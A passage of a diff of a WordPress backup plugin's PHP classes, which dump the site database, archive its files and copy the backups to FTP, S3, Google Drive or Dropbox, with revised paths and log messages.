- $this->queue->save()
188
- ->execute();
189
- WPAdm_Core::log('Закочили архивацию файлов');
190
-
191
- $files = glob($this->dir . '/'.$this->name . '*');
192
- $urls = array();
193
- foreach($files as $file) {
194
- $urls[] = str_replace(ABSPATH, '', $file);
195
- }
196
- $this->result->setData($urls);
197
-
198
-
199
- # КОПИРОВАНИЕ ФАЙЛОВ НА FTP
200
- if (isset($this->params['storage']) && $this->params['storage']['type'] == 'ftp') {
201
- WPAdm_Core::log('Начинаем копирование файлов на FTP');
202
- $this->queue->clear();
203
- $files = glob($this->dir . '/'.$this->name . '*');
204
- //$this->getResult()->setData($files);
205
- $ad = $this->params['storage']['access_details'];
206
- $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
207
- $dir = trim($dir, '/') . '/' . $this->name;
208
- foreach($files as $file) {
209
- $commandContext = new WPAdm_Command_Context();
210
- $commandContext ->addParam('command','send_to_ftp')
211
- ->addParam('file', $file)
212
- ->addParam('host', $ad['host'])
213
- ->addParam('port', (isset($ad['port']))? $ad['port'] : 21)
214
- ->addParam('user', $ad['user'])
215
- ->addParam('password', $ad['password'])
216
- ->addParam('dir', $dir)
217
- ->addParam('http_host', isset($ad['http_host']) ? $ad['http_host'] : '');
218
- $this->queue->add($commandContext);
219
- unset($commandContext);
220
- }
221
- $res = $this->queue->save()
222
- ->execute();
223
- if (!$res) {
224
- WPAdm_Core::log('FTP: ' . $this->queue->getError());
225
- $errors[] = 'FTP: '.$this->queue->getError();
226
- }
227
- WPAdm_Core::log('Закончили копирование файлов на FTP');
228
- if (isset($this->params['storage']['remove_from_server']) && $this->params['storage']['remove_from_server'] == 1 ) {
229
- // удаляем файлы на сервере
230
- WPAdm_Core::log('Удаляем бэкап на сервере');
231
- WPAdm_Core::rmdir($this->dir);
232
- }
233
- }
234
-
235
- #УДАЛЕНИЕ TMP-ФАЙЛОВ
236
- //todo: УДАЛЕНИЕ TMP-ФАЙЛОВ
237
- WPAdm_Core::rmdir(ABSPATH.'/wpadm_backup');
238
-
239
- #УДАЛЕНИЕ СТАРЫХ АРХИВОВ(те что не влазят в лимит)
240
- //todo: не правмльно удаляет, если есть ооба типа бэкапа
241
- WPAdm_Core::log('Начинаем удалять старые архивы');
242
- if ($this->params['limit'] != 0) {
243
- $files = glob(ABSPATH . '/wpadm_backups/*');
244
- if (count($files) > $this->params['limit']) {
245
- $files2 = array();
246
- foreach($files as $f) {
247
- $fa = explode('-', $f);
248
- if (count($fa) != 3) {
249
- continue;
250
- }
251
- $files2[$fa[2]] = $f;
252
-
253
- }
254
- ksort($files2);
255
- $d = count($files2) - $this->params['limit'];
256
- $del = array_slice($files2, 0, $d);
257
- foreach($del as $d) {
258
- WPAdm_Core::rmdir($d);
259
- }
260
- }
261
- }
262
- WPAdm_Core::log('Закончили удалять старые архивы');
263
-
264
- WPAdm_Core::log('Бэкап завершен');
265
-
266
- if (!empty($errors)) {
267
- $this->result->setError(implode("\n", $errors));
268
- $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
269
- }
270
-
271
- return $this->result;
272
-
273
-
274
- }
275
-
276
-
277
-
278
- public function createListFilesForArchive() {
279
- $folders = array();
280
- $files = array();
281
-
282
- $files = array_merge(
283
- $files,
284
- array(
285
- ABSPATH .'/.htaccess',
286
- ABSPATH .'/index.php',
287
- ABSPATH .'/license.txt',
288
- ABSPATH .'/readme.html',
289
- ABSPATH .'/wp-activate.php',
290
- ABSPATH .'/wp-blog-header.php',
291
- ABSPATH .'/wp-comments-post.php',
292
- ABSPATH .'/wp-config.php',
293
- ABSPATH .'/wp-config-sample.php',
294
- ABSPATH .'/wp-cron.php',
295
- ABSPATH .'/wp-links-opml.php',
296
- ABSPATH .'/wp-load.php',
297
- ABSPATH .'/wp-login.php',
298
- ABSPATH .'/wp-mail.php',
299
- ABSPATH .'/wp-settings.php',
300
- ABSPATH .'/wp-signup.php',
301
- ABSPATH .'/wp-trackback.php',
302
- ABSPATH .'/xmlrpc.php',
303
- )
304
- );
305
-
306
- if (!empty($this->params['minus-path'])) {
307
- foreach($files as $k=>$v) {
308
- $v = str_replace(ABSPATH .'/' , '', $v);
309
- if (in_array($v, $this->params['minus-path'])) {
310
- unset($files[$k]);
311
- WPAdm_Core::log('Пропускаем файл ' . $v);
312
- }
313
- }
314
- }
315
-
316
- $folders = array_merge(
317
- $folders,
318
- array(
319
- ABSPATH .'/wp-admin',
320
- ABSPATH .'/wp-content',
321
- ABSPATH .'/wp-includes',
322
- )
323
- );
324
-
325
- foreach($this->params['plus-path'] as $p) {
326
- if (empty($p)) {
327
- continue;
328
- }
329
- $p = ABSPATH .'/' . $p;
330
- if (file_exists($p)) {
331
- if (is_dir($p)) {
332
- $folders[] = $p;
333
- } else{
334
- $files[] = $p;
335
- }
336
- }
337
- }
338
-
339
- $folders = array_unique($folders);
340
- $files = array_unique($files);
341
-
342
- foreach($folders as $folder) {
343
- if (!is_dir($folder)) {
344
- continue;
345
- }
346
- $files = array_merge($files, $this->directoryToArray($folder, true));
347
- }
348
- return $files;
349
- }
350
-
351
-
352
- private function directoryToArray($directory, $recursive) {
353
- $array_items = array();
354
-
355
- $d = str_replace(ABSPATH . '/', '', $directory);
356
- // пропускаем ненужные директории
357
-
358
- if (
359
- in_array($d, $this->params['minus-path'])
360
- ) {
361
- WPAdm_Core::log('Пропускаем папку ' . $directory);
362
- return array();
363
- }
364
-
365
- $d = str_replace('\\', '/', $d);
366
- $tmp = explode('/', $d);
367
- $d1 = mb_strtolower($tmp[0]);
368
- unset($tmp[0]);
369
- $d2 = mb_strtolower(implode('/', $tmp));
370
- // if (strpos($d1, 'cache') !== false || ($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)) {
371
- // if (($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)
372
- // || ($d1 == 'wp-content' || !in_array($tmp[0], array('plugins', 'themes')))
373
- if (strpos($d2, 'cache') !== false
374
- && !in_array($tmp[0], array('plugins', 'themes'))
375
- ) {
376
- WPAdm_Core::log('Пропускаем папку(cache) ' . $directory);
377
- return array();
378
- }
379
-
380
- if ($handle = opendir($directory)) {
381
- while (false !== ($file = readdir($handle))) {
382
- if ($file != "." && $file != "..") {
383
- if (is_dir($directory. "/" . $file)) {
384
- if($recursive) {
385
- $array_items = array_merge($array_items, $this->directoryToArray($directory. "/" . $file, $recursive));
386
- }
387
-
388
- $file = $directory . "/" . $file;
389
- if (!is_dir($file)) {
390
- $ff = preg_replace("/\/\//si", "/", $file);
391
- $f = str_replace(ABSPATH . '/', '', $ff);
392
- // пропускаем ненужные директории
393
- if (!in_array($f, $this->params['minus-path'])) {
394
- $array_items[] = $ff;
395
- } else {
396
- WPAdm_Core::log('Пропускаем файл ' . $ff);
397
- }
398
- }
399
- } else {
400
- $file = $directory . "/" . $file;
401
- if (!is_dir($file)) {
402
- $ff = preg_replace("/\/\//si", "/", $file);
403
- $f = str_replace(ABSPATH . '/', '', $ff);
404
- // пропускаем ненужные директории
405
- if (!in_array($f, $this->params['minus-path'])) {
406
- $array_items[] = $ff;
407
- } else {
408
- WPAdm_Core::log('Пропускаем файл ' . $ff);
409
- }
410
- }
411
- }
412
- }
413
- }
414
- closedir($handle);
415
- }
416
- return $array_items;
417
- }
418
-
419
-
420
- /*
421
- * Берем реквизиты доступа к MySQL из параметров WP
422
- * return Array()
423
- */
424
- private function getWpMysqlParams()
425
- {
426
- $db_params = array(
427
- 'password' => 'DB_PASSWORD',
428
- 'db' => 'DB_NAME',
429
- 'user' => 'DB_USER',
430
- 'host' => 'DB_HOST',
431
- );
432
-
433
- $r = "/define\('(.*)', '(.*)'\)/";
434
- preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
435
- $params = array_combine($m[1], $m[2]);
436
- foreach($db_params as $k=>$p) {
437
- $db_params[$k] = $params[$p];
438
- }
439
- return $db_params;
440
- }
441
-
442
-
443
- private function init(array $conf) {
444
- //todo: нормализация
445
- $this->id = $conf['id'];
446
- $this->stime = $conf['stime'];
447
- $this->queue = new WPAdm_Queue($this->id);
448
- $this->type = $conf['type'];
449
- }
450
- }
451
  }
1
+ <?php
2
+ /**
3
+ * Бэкап сайта
4
+ * Class WPadm_Method_Backup
5
+ */
6
+ if (!class_exists('WPadm_Method_Backup')) {
7
+ class WPadm_Method_Backup extends WPAdm_Method_Class {
8
+ /**
9
+ * Уникальный идентификатор текущего объекта
10
+ * @var String
11
+ */
12
+ private $id;
13
+
14
+ /**
15
+ * Unixtimestamp, когда был запущен метод
16
+ * @var Int
17
+ */
18
+ private $stime;
19
+
20
+ /**
21
+ * @var WPAdm_Queue
22
+ */
23
+ private $queue;
24
+
25
+ /**
26
+ * @var string
27
+ */
28
+ private $dir;
29
+
30
+ /**
31
+ * @var string
32
+ */
33
+ private $tmp_dir;
34
+
35
+ /**
36
+ * Тип бэкапа
37
+ * @var string [full|db]
38
+ */
39
+ private $type = 'full';
40
+
41
+ private $name = '';
42
+
43
+ public function __construct($params) {
44
+ parent::__construct($params);
45
+ $this->init(
46
+ array(
47
+ 'id' => uniqid('wpadm_method_backup__'),
48
+ 'stime' => time(),
49
+ 'type' => $params['type'],
50
+ )
51
+ );
52
+
53
+ $name = get_option('siteurl');
54
+
55
+ $name = str_replace("http://", '', $name);
56
+ $name = str_replace("https://", '', $name);
57
+ $name = preg_replace("|\W|", "_", $name);
58
+ $name .= '-' . $this->type . '-' . date("Y_m_d_H_i");
59
+ $this->name = $name;
60
+
61
+ // папка для бэкапа
62
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
63
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
64
+ if (!empty($error)) {
65
+ $this->result->setError($error);
66
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
67
+ }
68
+ $error = WPAdm_Core::mkdir($this->dir);
69
+ if (!empty($error)) {
70
+ $this->result->setError($error);
71
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
72
+ }
73
+ }
74
+
75
+ public function getResult()
76
+ {
77
+ $errors = array();
78
+
79
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
80
+ $this->result->setError('');
81
+
82
+ @unlink(dirname(__FILE__) . '/../tmp/log.log');
83
+
84
+ WPAdm_Core::log('Start backup create');
85
+ WPAdm_Core::log('Create dump Data Base');
86
+
87
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
88
+ if (file_exists($mysql_dump_file)) {
89
+ unlink($mysql_dump_file);
90
+ }
91
+ $wp_mysql_params = $this->getWpMysqlParams();
92
+
93
+ if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
94
+ WPAdm_Core::log('optimization Database');
95
+ $commandContext = new WPAdm_Command_Context();
96
+ $commandContext ->addParam('command','mysqloptimize')
97
+ ->addParam('host', $wp_mysql_params['host'])
98
+ ->addParam('db', $wp_mysql_params['db'])
99
+ ->addParam('user', $wp_mysql_params['user'])
100
+ ->addParam('password', $wp_mysql_params['password']);
101
+ $this->queue->clear()
102
+ ->add($commandContext);
103
+ unset($commandContext);
104
+ }
105
+
106
+ $commandContext = new WPAdm_Command_Context();
107
+ $commandContext ->addParam('command','mysqldump')
108
+ ->addParam('host', $wp_mysql_params['host'])
109
+ ->addParam('db', $wp_mysql_params['db'])
110
+ ->addParam('user', $wp_mysql_params['user'])
111
+ ->addParam('password', $wp_mysql_params['password'])
112
+ ->addParam('tables', '')
113
+ ->addParam('to_file', $mysql_dump_file);
114
+ $res = $this->queue->add($commandContext)
115
+ ->save()
116
+ ->execute();
117
+
118
+ if (!$res) {
119
+ $log = langWPADM::get('Website "%d" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%s'), array(SITE_HOME, $this->queue->getError() ) );
120
+ WPAdm_Core::log($log);
121
+ $errors[] = $log;
122
+ } elseif (0 == (int)filesize($mysql_dump_file)) {
123
+ $log = langWPADM::get('Website "%d" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".', false, array('%d', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP));
124
+ $errors[] = $log;
125
+ WPAdm_Core::log($log);
126
+ } else {
127
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
128
+ $log = str_replace("%s", $size_dump , langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false) ) ;
129
+ WPAdm_Core::log($log . ' '. str_replace(ABSPATH, '', $mysql_dump_file) );
130
+ }
131
+ unset($commandContext);
132
+
133
+
134
+ WPAdm_Core::log('Start Created List Files');
135
+ if ($this->type == 'full') {
136
+ $files = $this->createListFilesForArchive();
137
+ } else {
138
+ $files = array();
139
+ }
140
+ if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
141
+ $files[] = $mysql_dump_file;
142
+ }
143
+
144
+ if (empty($files)) {
145
+ $errors[] = 'Empty list files';
146
+ }
147
+
148
+ $files2 = array();
149
+ $files2[0] = array();
150
+ $i = 0;
151
+ $size = 0;
152
+ foreach($files as $f) {
153
+ if ($size > 170000) {//~170kbyte
154
+ $i ++;
155
+ $size = 0;
156
+ $files2[$i] = array();
157
+ }
158
+ $f_size =(int)filesize($f);
159
+ if ($f_size == 0 || $f_size > 1000000) {
160
+ WPAdm_Core::log('file '. $f .' size ' . $f_size);
161
+ }
162
+ $size += $f_size;
163
+ $files2[$i][] = $f;
164
+ }
165
+
166
+ WPAdm_Core::log('Сreated List Files is successfully');
167
+ $this->queue->clear();
168
+
169
+ foreach($files2 as $files) {
170
+ $commandContext = new WPAdm_Command_Context();
171
+ $commandContext ->addParam('command','archive')
172
+ ->addParam('files', $files)
173
+ ->addParam('to_file', $this->dir . '/'.$this->name)
174
+ ->addParam('max_file_size', 900000)
175
+ ->addParam('remove_path', ABSPATH);
176
+
177
+ $this->queue->add($commandContext);
178
+ unset($commandContext);
179
+ }
180
+ WPAdm_Core::log('Start archived files');
181
+ // сохраним и выполним
182
+ $this->queue->save()
183
+ ->execute();
184
+ WPAdm_Core::log('End archived files');
185
+
186
+ $files = glob($this->dir . '/'.$this->name . '*');
187
+ $urls = array();
188
+ foreach($files as $file) {
189
+ $urls[] = str_replace(ABSPATH, '', $file);
190
+ }
191
+ $this->result->setData($urls);
192
+
193
+ WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql');
194
+
195
+ if ($this->params['limit'] != 0) {
196
+ WPAdm_Core::log('Start deleted old backup');
197
+ $files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
198
+ if (count($files) > $this->params['limit']) {
199
+ $files2 = array();
200
+ foreach($files as $f) {
201
+ $fa = explode('-', $f);
202
+ if (count($fa) != 3) {
203
+ continue;
204
+ }
205
+ $files2[$fa[2]] = $f;
206
+
207
+ }
208
+ ksort($files2);
209
+ $d = count($files2) - $this->params['limit'];
210
+ $del = array_slice($files2, 0, $d);
211
+ foreach($del as $d) {
212
+ WPAdm_Core::rmdir($d);
213
+ }
214
+ }
215
+ WPAdm_Core::log('Finish deleted old backups');
216
+ }
217
+ WPAdm_Core::log('Finish create');
218
+
219
+ if (!empty($errors)) {
220
+ $this->result->setError(implode("\n", $errors));
221
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
222
+ }
223
+
224
+ return $this->result;
225
+
226
+
227
+ }
228
+
229
+
230
+
231
+ public function createListFilesForArchive() {
232
+ $folders = array();
233
+ $files = array();
234
+
235
+ $files = array_merge(
236
+ $files,
237
+ array(
238
+ ABSPATH .'/.htaccess',
239
+ ABSPATH .'/index.php',
240
+ ABSPATH .'/license.txt',
241
+ ABSPATH .'/readme.html',
242
+ ABSPATH .'/wp-activate.php',
243
+ ABSPATH .'/wp-blog-header.php',
244
+ ABSPATH .'/wp-comments-post.php',
245
+ ABSPATH .'/wp-config.php',
246
+ ABSPATH .'/wp-config-sample.php',
247
+ ABSPATH .'/wp-cron.php',
248
+ ABSPATH .'/wp-links-opml.php',
249
+ ABSPATH .'/wp-load.php',
250
+ ABSPATH .'/wp-login.php',
251
+ ABSPATH .'/wp-mail.php',
252
+ ABSPATH .'/wp-settings.php',
253
+ ABSPATH .'/wp-signup.php',
254
+ ABSPATH .'/wp-trackback.php',
255
+ ABSPATH .'/xmlrpc.php',
256
+ )
257
+ );
258
+
259
+ if (!empty($this->params['minus-path'])) {
260
+ foreach($files as $k=>$v) {
261
+ $v = str_replace(ABSPATH .'/' , '', $v);
262
+ if (in_array($v, $this->params['minus-path'])) {
263
+ unset($files[$k]);
264
+ WPAdm_Core::log('Пропускаем файл ' . $v);
265
+ }
266
+ }
267
+ }
268
+
269
+ $folders = array_merge(
270
+ $folders,
271
+ array(
272
+ ABSPATH .'/wp-admin',
273
+ ABSPATH .'/wp-content',
274
+ ABSPATH .'/wp-includes',
275
+ )
276
+ );
277
+
278
+ foreach($this->params['plus-path'] as $p) {
279
+ if (empty($p)) {
280
+ continue;
281
+ }
282
+ $p = ABSPATH .'/' . $p;
283
+ if (file_exists($p)) {
284
+ if (is_dir($p)) {
285
+ $folders[] = $p;
286
+ } else{
287
+ $files[] = $p;
288
+ }
289
+ }
290
+ }
291
+
292
+ $folders = array_unique($folders);
293
+ $files = array_unique($files);
294
+
295
+ foreach($folders as $folder) {
296
+ if (!is_dir($folder)) {
297
+ continue;
298
+ }
299
+ $files = array_merge($files, $this->directoryToArray($folder, true));
300
+ }
301
+ return $files;
302
+ }
303
+
304
+
305
+ private function directoryToArray($directory, $recursive) {
306
+ $array_items = array();
307
+
308
+ $d = str_replace(ABSPATH . '/', '', $directory);
309
+ // пропускаем ненужные директории
310
+
311
+ if (
312
+ in_array($d, $this->params['minus-path'])
313
+ ) {
314
+ WPAdm_Core::log('Пропускаем папку ' . $directory);
315
+ return array();
316
+ }
317
+
318
+ $d = str_replace('\\', '/', $d);
319
+ $tmp = explode('/', $d);
320
+ $d1 = mb_strtolower($tmp[0]);
321
+ unset($tmp[0]);
322
+ $d2 = mb_strtolower(implode('/', $tmp));
323
+ // if (strpos($d1, 'cache') !== false || ($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)) {
324
+ // if (($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)
325
+ // || ($d1 == 'wp-content' || !in_array($tmp[0], array('plugins', 'themes')))
326
+ if (strpos($d2, 'cache') !== false
327
+ && !in_array($tmp[0], array('plugins', 'themes'))
328
+ ) {
329
+ WPAdm_Core::log('Пропускаем папку(cache) ' . $directory);
330
+ return array();
331
+ }
332
+ if(strpos($directory, 'wpadm_backups') !== false) {
333
+ return array();
334
+ }
335
+
336
+ if ($handle = opendir($directory)) {
337
+ while (false !== ($file = readdir($handle))) {
338
+ if ($file != "." && $file != "..") {
339
+ if (is_dir($directory. "/" . $file)) {
340
+ if($recursive) {
341
+ $array_items = array_merge($array_items, $this->directoryToArray($directory. "/" . $file, $recursive));
342
+ }
343
+
344
+ $file = $directory . "/" . $file;
345
+ if (!is_dir($file)) {
346
+ $ff = preg_replace("/\/\//si", "/", $file);
347
+ $f = str_replace(ABSPATH . '/', '', $ff);
348
+ // пропускаем ненужные директории
349
+ if (!in_array($f, $this->params['minus-path'])) {
350
+ $array_items[] = $ff;
351
+ } else {
352
+ WPAdm_Core::log('Пропускаем файл ' . $ff);
353
+ }
354
+ }
355
+ } else {
356
+ $file = $directory . "/" . $file;
357
+ if (!is_dir($file)) {
358
+ $ff = preg_replace("/\/\//si", "/", $file);
359
+ $f = str_replace(ABSPATH . '/', '', $ff);
360
+ // пропускаем ненужные директории
361
+ if (!in_array($f, $this->params['minus-path'])) {
362
+ $array_items[] = $ff;
363
+ } else {
364
+ WPAdm_Core::log('Пропускаем файл ' . $ff);
365
+ }
366
+ }
367
+ }
368
+ }
369
+ }
370
+ closedir($handle);
371
+ }
372
+ return $array_items;
373
+ }
374
+
375
+
376
+ /*
377
+ * Берем реквизиты доступа к MySQL из параметров WP
378
+ * return Array()
379
+ */
380
+ private function getWpMysqlParams()
381
+ {
382
+ $db_params = array(
383
+ 'password' => 'DB_PASSWORD',
384
+ 'db' => 'DB_NAME',
385
+ 'user' => 'DB_USER',
386
+ 'host' => 'DB_HOST',
387
+ );
388
+
389
+ $r = "/define\('(.*)', '(.*)'\)/";
390
+ preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
391
+ $params = array_combine($m[1], $m[2]);
392
+ foreach($db_params as $k=>$p) {
393
+ $db_params[$k] = $params[$p];
394
+ }
395
+ return $db_params;
396
+ }
397
+
398
+
399
+ private function init(array $conf) {
400
+ //todo: нормализация
401
+ $this->id = $conf['id'];
402
+ $this->stime = $conf['stime'];
403
+ $this->queue = new WPAdm_Queue($this->id);
404
+ $this->type = $conf['type'];
405
+ }
406
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
407
  }
methods/class-wpadm-method-full-backup-dropbox.php CHANGED
@@ -59,9 +59,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
59
  $this->name = $name;
60
 
61
  // folder for backup
62
- $this->dir = ABSPATH . 'wpadm_backups/' . $this->name;
63
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backups/');
64
- WPAdm_Core::mkdir($this->dir);
 
 
 
 
 
 
 
 
65
  }
66
 
67
  public function getResult()
@@ -71,19 +79,24 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
71
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
72
  $this->result->setError('');
73
 
74
- WPAdm_Core::log('Start backup');
75
 
76
  # create db dump
77
- WPAdm_Core::log('Start create db dump');
78
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backup');
79
- $mysql_dump_file = ABSPATH . 'wpadm_backup/mysqldump.sql';
 
 
 
 
 
80
  if (file_exists($mysql_dump_file)) {
81
  unlink($mysql_dump_file);
82
  }
83
  $wp_mysql_params = $this->getWpMysqlParams();
84
 
85
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
86
- WPAdm_Core::log('Table optimization');
87
  $commandContext = new WPAdm_Command_Context();
88
  $commandContext ->addParam('command','mysqloptimize')
89
  ->addParam('host', $wp_mysql_params['host'])
@@ -107,26 +120,29 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
107
  ->save()
108
  ->execute();
109
  if (!$res) {
110
- WPAdm_Core::log('Database dump was not created('.$this->queue->getError().')');
111
- $errors[] = 'MySQL error: '.$this->queue->getError();
 
112
  } elseif (0 == (int)filesize($mysql_dump_file)) {
113
- $errors[] = 'MySQL error: empty dump-file';
114
- WPAdm_Core::log('Database dump was not created (empty file)');
115
  } else {
116
- WPAdm_Core::log('Database dump created('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
 
 
117
  }
118
  unset($commandContext);
119
 
120
 
121
  #ЗАРХИВИРУЕМ ФАЙЛЫ
122
- WPAdm_Core::log('Create a list of files');
123
  $files = $this->createListFilesForArchive();
124
  if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
125
  $files[] = $mysql_dump_file;
126
  }
127
 
128
  if (empty($files)) {
129
- $errors[] = 'Empty list files';
130
  }
131
 
132
  // split the file list by 170kbayt lists, To break one big task into smaller
@@ -140,7 +156,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
140
  $size = 0;
141
  $files2[$i] = array();
142
  }
143
- $f_size =(int)@filesize($f);
144
  if ($f_size == 0 || $f_size > 1000000) {
145
  WPAdm_Core::log('file '. $f .' size ' . $f_size);
146
  }
@@ -148,7 +164,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
148
  $files2[$i][] = $f;
149
  }
150
 
151
- WPAdm_Core::log('List of files created');
152
 
153
  $this->queue->clear();
154
 
@@ -163,10 +179,10 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
163
  $this->queue->add($commandContext);
164
  unset($commandContext);
165
  }
166
- WPAdm_Core::log('Start backing up files');
167
  $this->queue->save()
168
  ->execute();
169
- WPAdm_Core::log('End of backup files');
170
 
171
  $files = glob($this->dir . '/'.$this->name . '*');
172
  $urls = array();
@@ -183,7 +199,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
183
  if (isset($this->params['storage'])) {
184
  foreach($this->params['storage'] as $storage) {
185
  if ($storage['type'] == 'ftp') {
186
- WPAdm_Core::log('Begin copying files to FTP');
187
  $this->queue->clear();
188
  $files = glob($this->dir . '/'.$this->name . '*');
189
  //$this->getResult()->setData($files);
@@ -206,15 +222,16 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
206
  $res = $this->queue->save()
207
  ->execute();
208
  if (!$res) {
209
- WPAdm_Core::log('FTP: ' . $this->queue->getError());
210
- $errors[] = 'FTP: '.$this->queue->getError();
 
211
  }
212
- WPAdm_Core::log('Finished copying files to FTP');
213
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
214
  $remove_from_server = $storage['remove_from_server'];
215
  }
216
  } elseif ($storage['type'] == 's3') {
217
- WPAdm_Core::log('Begin coping files to S3');
218
  $this->queue->clear();
219
  $files = glob($this->dir . '/'.$this->name . '*');
220
  //$this->getResult()->setData($files);
@@ -238,7 +255,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
238
  WPAdm_Core::log('S3: ' . $this->queue->getError());
239
  $errors[] = 'S3: '.$this->queue->getError();
240
  }
241
- WPAdm_Core::log('Finished copying files to S3');
242
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
243
  $remove_from_server = $storage['remove_from_server'];
244
  }
@@ -246,7 +263,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
246
  }
247
  if ($remove_from_server) {
248
  // удаляем файлы на сервере
249
- WPAdm_Core::log('Remove the backup server');
250
  WPAdm_Core::rmdir($this->dir);
251
  }
252
 
@@ -255,7 +272,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
255
  $this->queue->clear();
256
  $files = glob($this->dir . '/' . $this->name . '*');
257
  $files = array_merge_recursive(array($mysql_dump_file), $files);
258
- WPAdm_Core::log('files to google: ' . print_r($files, true));
259
  $n = count($files);
260
  for($i = 0; $i <$n; $i++) {
261
  $commandContext = new WPAdm_Command_Context();
@@ -272,7 +289,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
272
  $res = $this->queue->save()
273
  ->execute();
274
  if (!$res) {
275
- WPAdm_Core::log('Google drive: ' . $this->queue->getError());
276
  }
277
  //WPAdm_Core::log('google drive' . print_r($this->params, true));
278
  }
@@ -280,7 +297,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
280
  $this->queue->clear();
281
  $files = glob($this->dir . '/' . $this->name . '*');
282
  $files = array_merge_recursive(array($mysql_dump_file), $files);
283
- WPAdm_Core::log('files to dropbox: ' . print_r($files, true));
284
  $n = count($files);
285
  for($i = 0; $i <$n; $i++) {
286
  $commandContext = new WPAdm_Command_Context();
@@ -297,17 +314,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
297
  $this->queue->save()
298
  ->execute();
299
  if (!$res) {
300
- WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
301
  }
302
  }
303
 
304
  #Removing TMP-files
305
- WPAdm_Core::rmdir(ABSPATH.'wpadm_backup');
306
 
307
  #Removind old backups(if limit the number of stored backups)
308
- WPAdm_Core::log('Start removing old backups');
309
  if ($this->params['limit'] != 0) {
310
- $files = glob(ABSPATH . 'wpadm_backups/*');
311
  if (count($files) > $this->params['limit']) {
312
  $files2 = array();
313
  foreach($files as $f) {
@@ -326,22 +343,23 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
326
  }
327
  }
328
  }
329
- WPAdm_Core::log('Finished removing old backups');
330
 
331
- WPAdm_Core::log('Creating a backup is completed');
332
 
 
333
  if (!empty($errors)) {
334
  $this->result->setError(implode("\n", $errors));
335
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
 
336
  }
337
-
338
  return $this->result;
339
-
340
-
341
  }
342
 
343
-
344
-
345
  public function createListFilesForArchive() {
346
  $folders = array();
347
  $files = array();
@@ -376,7 +394,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
376
  $v = str_replace(ABSPATH , '', $v);
377
  if (in_array($v, $minus_path)) {
378
  unset($files[$k]);
379
- WPAdm_Core::log('Skip file ' . $v);
380
  }
381
  }
382
  }
@@ -435,10 +453,15 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
435
  $d1 = mb_strtolower($tmp[0]);
436
  unset($tmp[0]);
437
  $d2 = mb_strtolower(implode('/', $tmp));
438
- if (strpos($d2, 'cache') !== false && isset($tmp[0]) && !in_array($tmp[0], array('plugins', 'themes')) ) {
 
 
439
  WPAdm_Core::log('Skip dir(cache) ' . $directory);
440
  return array();
441
  }
 
 
 
442
 
443
  if ($handle = opendir($directory)) {
444
  while (false !== ($file = readdir($handle))) {
@@ -468,7 +491,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
468
  if (!in_array($f, $minus_path)) {
469
  $array_items[] = $ff;
470
  } else {
471
- WPAdm_Core::log('Skip dir ' . $ff);
472
  }
473
  }
474
  }
@@ -494,7 +517,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
494
  );
495
 
496
  $r = "/define\('(.*)', '(.*)'\)/";
497
